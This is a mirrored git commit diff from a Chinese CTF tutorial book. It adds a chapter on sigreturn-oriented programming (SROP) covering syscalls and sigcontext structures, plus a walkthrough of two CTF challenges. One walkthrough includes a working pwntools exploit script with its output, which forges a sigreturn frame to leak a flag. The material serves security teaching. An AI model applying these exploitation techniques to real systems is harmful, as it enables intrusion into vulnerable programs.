mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 19:21:15 +07:00
update 6.4
This commit is contained in:
parent
6689193994
commit
c2edb62e77
@ -340,20 +340,20 @@ Pintool 的入口为 `main` 函数,通常需要完成下面的功能:
|
||||
#include<stdio.h>
|
||||
#include<string.h>
|
||||
void main() {
|
||||
char pwd[] = "abc123";
|
||||
char str[128];
|
||||
int flag = 1;
|
||||
scanf("%s", str);
|
||||
for (int i=0; i<=strlen(pwd); i++) {
|
||||
if (pwd[i]!=str[i] || str[i]=='\0'&&pwd[i]!='\0' || str[i]!='\0'&&pwd[i]=='\0') {
|
||||
flag = 0;
|
||||
}
|
||||
}
|
||||
if (flag==0) {
|
||||
printf("Bad!\n");
|
||||
} else {
|
||||
printf("Good!\n");
|
||||
}
|
||||
char pwd[] = "abc123";
|
||||
char str[128];
|
||||
int flag = 1;
|
||||
scanf("%s", str);
|
||||
for (int i=0; i<=strlen(pwd); i++) {
|
||||
if (pwd[i]!=str[i] || str[i]=='\0'&&pwd[i]!='\0' || str[i]!='\0'&&pwd[i]=='\0') {
|
||||
flag = 0;
|
||||
}
|
||||
}
|
||||
if (flag==0) {
|
||||
printf("Bad!\n");
|
||||
} else {
|
||||
printf("Good!\n");
|
||||
}
|
||||
}
|
||||
```
|
||||
这段代码要求用户输入密码,然后逐字符进行判断。
|
||||
|
@ -17,7 +17,7 @@ No RELRO No canary found NX enabled No PIE No RPATH No RU
|
||||
```
|
||||
关闭 ASLR,然后把程序运行起来:
|
||||
```
|
||||
$ socat tcp4-listen:10001,reuseaddr,fork exec:./pingme
|
||||
$ socat tcp4-listen:10001,reuseaddr,fork exec:./pingme &
|
||||
```
|
||||
|
||||
|
||||
|
@ -2,6 +2,10 @@
|
||||
|
||||
- [题目复现](#题目复现)
|
||||
- [SROP 原理及题目解析](#srop-原理及题目解析)
|
||||
- [Linux 系统调用](#Linux 系统调用)
|
||||
- [signal 机制](#signal-机制)
|
||||
- [BackdoorCTF2017 Fun Signals](#backdoorctf2017-fun-signals)
|
||||
- [njctf2017 233](#233)
|
||||
- [Exploit](#exploit)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
@ -17,11 +21,201 @@ Full RELRO No canary found NX enabled PIE enabled No RPATH No RU
|
||||
```
|
||||
把程序运行起来:
|
||||
```
|
||||
$ socat tcp4-listen:10001,reuseaddr,fork exec:./233
|
||||
$ socat tcp4-listen:10001,reuseaddr,fork exec:./233 &
|
||||
```
|
||||
|
||||
|
||||
## SROP 原理及题目解析
|
||||
#### Linux 系统调用
|
||||
在开始这一切之前,我想先将一下 Linux 的系统调用。64 位和 32 位的系统调用表分别在
|
||||
`/usr/include/asm/unistd_64.h` 和 `/usr/include/asm/unistd_32.h` 中,另外还需要查看 `/usr/include/bits/syscall.h`。
|
||||
|
||||
一开始 Linux 是通过 `int 0x80` 中断的方式进入系统调用,它会先进行调用者特权级别的检查,然后进行压栈、跳转等操作,这无疑会浪费许多资源。从 Linux 2.6 开始,就出现了新的系统调用指令 `sysenter`/`sysexit`,前者用于从 Ring3 进入 Ring0,后者用于从 Ring0 返回 Ring3,它没有特权级别检查,也没有压栈的操作,所以执行速度更快。
|
||||
|
||||
#### signal 机制
|
||||
|
||||
![](../pic/6.4_signal.png)
|
||||
|
||||
sigreturn frame 因架构不同而不同,在 Linux 中也有了新的定义,但目前关于 srop 的利用也都是基于旧的 sigcontext,所以这里还是给出旧定义,仅当用户空间依然依赖它时才会使用它们:
|
||||
```
|
||||
# ifdef __i386__
|
||||
struct sigcontext {
|
||||
__u16 gs, __gsh;
|
||||
__u16 fs, __fsh;
|
||||
__u16 es, __esh;
|
||||
__u16 ds, __dsh;
|
||||
__u32 edi;
|
||||
__u32 esi;
|
||||
__u32 ebp;
|
||||
__u32 esp;
|
||||
__u32 ebx;
|
||||
__u32 edx;
|
||||
__u32 ecx;
|
||||
__u32 eax;
|
||||
__u32 trapno;
|
||||
__u32 err;
|
||||
__u32 eip;
|
||||
__u16 cs, __csh;
|
||||
__u32 eflags;
|
||||
__u32 esp_at_signal;
|
||||
__u16 ss, __ssh;
|
||||
struct _fpstate *fpstate;
|
||||
__u32 oldmask;
|
||||
__u32 cr2;
|
||||
};
|
||||
# else /* __x86_64__: */
|
||||
struct sigcontext {
|
||||
__u64 r8;
|
||||
__u64 r9;
|
||||
__u64 r10;
|
||||
__u64 r11;
|
||||
__u64 r12;
|
||||
__u64 r13;
|
||||
__u64 r14;
|
||||
__u64 r15;
|
||||
__u64 rdi;
|
||||
__u64 rsi;
|
||||
__u64 rbp;
|
||||
__u64 rbx;
|
||||
__u64 rdx;
|
||||
__u64 rax;
|
||||
__u64 rcx;
|
||||
__u64 rsp;
|
||||
__u64 rip;
|
||||
__u64 eflags; /* RFLAGS */
|
||||
__u16 cs;
|
||||
__u16 gs;
|
||||
__u16 fs;
|
||||
union {
|
||||
__u16 ss; /* If UC_SIGCONTEXT_SS */
|
||||
__u16 __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */
|
||||
};
|
||||
__u64 err;
|
||||
__u64 trapno;
|
||||
__u64 oldmask;
|
||||
__u64 cr2;
|
||||
struct _fpstate *fpstate; /* Zero when no FPU context */
|
||||
# ifdef __ILP32__
|
||||
__u32 __fpstate_pad;
|
||||
# endif
|
||||
__u64 reserved1[8];
|
||||
};
|
||||
```
|
||||
|
||||
在你使用 `ldd` 命令时,通常也会显示 vDSO,如下:
|
||||
```
|
||||
$ ldd /usr/bin/ls
|
||||
linux-vdso.so.1 (0x00007ffff7ffa000)
|
||||
libcap.so.2 => /usr/lib/libcap.so.2 (0x00007ffff79b2000)
|
||||
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff75fa000)
|
||||
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd8000)
|
||||
```
|
||||
32 位程序则会显示 `linux-gate.so.1`,都是一个意思。
|
||||
|
||||
#### BackdoorCTF2017 Fun Signals
|
||||
我们先来看一个简单的例子,一个 64 位静态链接的 srop,可以说是什么都没开。。。
|
||||
```
|
||||
$ checksec -f funsignals_player_bin
|
||||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||||
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No 0 0 funsignals_player_bin
|
||||
```
|
||||
```
|
||||
gdb-peda$ disassemble _start
|
||||
Dump of assembler code for function _start:
|
||||
0x0000000010000000 <+0>: xor eax,eax
|
||||
0x0000000010000002 <+2>: xor edi,edi
|
||||
0x0000000010000004 <+4>: xor edx,edx
|
||||
0x0000000010000006 <+6>: mov dh,0x4
|
||||
0x0000000010000008 <+8>: mov rsi,rsp
|
||||
0x000000001000000b <+11>: syscall
|
||||
0x000000001000000d <+13>: xor edi,edi
|
||||
0x000000001000000f <+15>: push 0xf
|
||||
0x0000000010000011 <+17>: pop rax
|
||||
0x0000000010000012 <+18>: syscall
|
||||
0x0000000010000014 <+20>: int3
|
||||
End of assembler dump.
|
||||
gdb-peda$ disassemble syscall
|
||||
Dump of assembler code for function syscall:
|
||||
0x0000000010000015 <+0>: syscall
|
||||
0x0000000010000017 <+2>: xor rdi,rdi
|
||||
0x000000001000001a <+5>: mov rax,0x3c
|
||||
0x0000000010000021 <+12>: syscall
|
||||
End of assembler dump.
|
||||
gdb-peda$ x/s flag
|
||||
0x10000023 <flag>: "fake_flag_here_as_original_is_at_server"
|
||||
```
|
||||
而且 flag 就在二进制文件里,只不过是在服务器上的那个里面,过程是完全一样的。
|
||||
|
||||
首先可以看到 `_start` 函数里有两个 syscall。第一个是 `read(0, $rip, 0x400)`(调用号`0x0`),它从标准输入读取 `0x400` 个字节到 `rip` 指向的地址处,也就是栈上。第二个是 `sigreturn()`(调用号`0xf`),它将从栈上读取 sigreturn frame。所以我们就可以伪造一个 frame。
|
||||
|
||||
那么怎样读取 flag 呢,需要一个 `write(1, &flag, 50)`,调用号为 `0x1`,而函数 `syscall` 正好为我们提供了 `syscall` 指令,构造 payload 如下:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = ELF('./funsignals_player_bin')
|
||||
io = process('./funsignals_player_bin')
|
||||
# io = remote('hack.bckdr.in', 9034)
|
||||
|
||||
context.clear()
|
||||
context.arch = "amd64"
|
||||
|
||||
# Creating a custom frame
|
||||
frame = SigreturnFrame()
|
||||
frame.rax = constants.SYS_write
|
||||
frame.rdi = constants.STDOUT_FILENO
|
||||
frame.rsi = elf.symbols['flag']
|
||||
frame.rdx = 50
|
||||
frame.rip = elf.symbols['syscall']
|
||||
|
||||
io.send(str(frame))
|
||||
io.interactive()
|
||||
```
|
||||
```
|
||||
$ python2 exp_funsignals.py
|
||||
[*] '/home/firmy/Desktop/RE4B/srop/funsignals_player_bin'
|
||||
Arch: amd64-64-little
|
||||
RELRO: No RELRO
|
||||
Stack: No canary found
|
||||
NX: NX disabled
|
||||
PIE: No PIE (0x10000000)
|
||||
RWX: Has RWX segments
|
||||
[+] Opening connection to 127.0.0.1 on port 10001: Done
|
||||
[*] Switching to interactive mode
|
||||
fake_flag_here_as_original_is_at_server\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
|
||||
```
|
||||
如果连接的是远程服务器,`fake_flag_here_as_original_is_at_server` 会被替换成真正的 flag。
|
||||
|
||||
#### njctf2017 233
|
||||
这是一个 32 位的程序。
|
||||
```
|
||||
gdb-peda$ disassemble main
|
||||
Dump of assembler code for function main:
|
||||
0x0000063b <+0>: push ebp
|
||||
0x0000063c <+1>: mov ebp,esp
|
||||
0x0000063e <+3>: push ebx
|
||||
0x0000063f <+4>: and esp,0xfffffff0
|
||||
0x00000642 <+7>: sub esp,0x20
|
||||
0x00000645 <+10>: call 0x510 <__x86.get_pc_thunk.bx>
|
||||
0x0000064a <+15>: add ebx,0x197e
|
||||
0x00000650 <+21>: mov DWORD PTR [esp+0x8],0x400
|
||||
0x00000658 <+29>: lea eax,[esp+0x16]
|
||||
0x0000065c <+33>: mov DWORD PTR [esp+0x4],eax
|
||||
0x00000660 <+37>: mov DWORD PTR [esp],0x0
|
||||
0x00000667 <+44>: call 0x480 <read@plt>
|
||||
0x0000066c <+49>: lea eax,[esp+0x16]
|
||||
0x00000670 <+53>: mov DWORD PTR [esp],eax
|
||||
0x00000673 <+56>: call 0x4c0 <atoi@plt>
|
||||
0x00000678 <+61>: mov ebx,DWORD PTR [ebp-0x4]
|
||||
0x0000067b <+64>: leave
|
||||
0x0000067c <+65>: ret
|
||||
End of assembler dump.
|
||||
```
|
||||
这个程序看起来很简单,就是使用 read 函数读取 `0x400` 个字节到 `[esp+0x16]` 的地方,然后将其传给 atoi。很明显的栈溢出:
|
||||
```
|
||||
gdb-peda$ pattern_offset 0x41284141
|
||||
1093157185 found at offset: 22
|
||||
```
|
||||
|
||||
|
||||
## Exploit
|
||||
完整的 exp 如下,其他文件放在了[github](../src/writeup/6.4_pwn_njctf2017_233)相应文件夹中:
|
||||
@ -31,3 +225,4 @@ $ socat tcp4-listen:10001,reuseaddr,fork exec:./233
|
||||
- [Framing Signals—A Return to Portable Shellcode](http://www.ieee-security.org/TC/SP2014/papers/FramingSignals-AReturntoPortableShellcode.pdf)
|
||||
- [slides: Framing Signals a return to portable shellcode](https://tc.gtisc.gatech.edu/bss/2014/r/srop-slides.pdf)
|
||||
- [Sigreturn Oriented Programming](https://www.slideshare.net/AngelBoy1/sigreturn-ori)
|
||||
- [Sigreturn Oriented Programming is a real Threat](https://subs.emis.de/LNI/Proceedings/Proceedings259/2077.pdf)
|
||||
|
BIN
pic/6.4_signal.png
Normal file
BIN
pic/6.4_signal.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 45 KiB |
19
src/writeup/6.4_pwn_njctf2017_233/exp_funsignals.py
Normal file
19
src/writeup/6.4_pwn_njctf2017_233/exp_funsignals.py
Normal file
@ -0,0 +1,19 @@
|
||||
from pwn import *
|
||||
|
||||
elf = ELF('./funsignals_player_bin')
|
||||
io = process('./funsignals_player_bin')
|
||||
# io = remote('hack.bckdr.in', 9034)
|
||||
|
||||
context.clear()
|
||||
context.arch = "amd64"
|
||||
|
||||
# Creating a custom frame
|
||||
frame = SigreturnFrame()
|
||||
frame.rax = constants.SYS_write
|
||||
frame.rdi = constants.STDOUT_FILENO
|
||||
frame.rsi = elf.symbols['flag']
|
||||
frame.rdx = 50
|
||||
frame.rip = elf.symbols['syscall']
|
||||
|
||||
io.send(str(frame))
|
||||
io.interactive()
|
BIN
src/writeup/6.4_pwn_njctf2017_233/funsignals_player_bin
Executable file
BIN
src/writeup/6.4_pwn_njctf2017_233/funsignals_player_bin
Executable file
Binary file not shown.
@ -1 +1 @@
|
||||
socat tcp4-listen:10001,reuseaddr,fork exec:./233
|
||||
socat tcp4-listen:10001,reuseaddr,fork exec:./233 &
|
||||
|
Loading…
Reference in New Issue
Block a user